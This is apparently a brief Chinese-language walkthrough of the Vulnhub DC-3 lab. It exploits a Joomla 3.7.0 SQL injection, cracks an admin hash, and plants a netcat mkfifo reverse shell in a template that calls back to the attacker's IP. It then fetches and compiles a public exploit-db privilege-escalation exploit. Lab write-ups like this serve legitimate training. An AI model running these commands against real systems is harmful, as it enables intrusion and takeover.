Vulnhub DC-3

访问服务，发现是 joomla 服务，使用 joomlacan 扫描

joomlascan -u 192.168.6.129

3.7.0 版本，存在 SQl 注入漏洞（CVE-2017-8917）

github 下载 exp 然后运行，获取到用户名密码 hash

使用 hashcat 破解 hash，破解密码得 snoopy

登录到后台

发现提示，需要获取到 root 权限

编辑模版，修改 index.php，nc 反弹 shell

rm /tmp/bd;mkfifo /tmp/bd;cat /tmp/bd | /bin/bash -i 2>&1 | nc 192.168.6.128 1234 >/tmp/bd

kali 监听 1234 端口：nc -lnvp 1234

exploit-db 搜索相关提权脚本，搜索到

https://www.exploit-db.com/exploits/39772

curl -O https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
tar -xvf exploit.tar
./compile.sh
./doubleput

成功提权，gcc 编译时 warning 提示，误以为是 error 报错，耽误了好久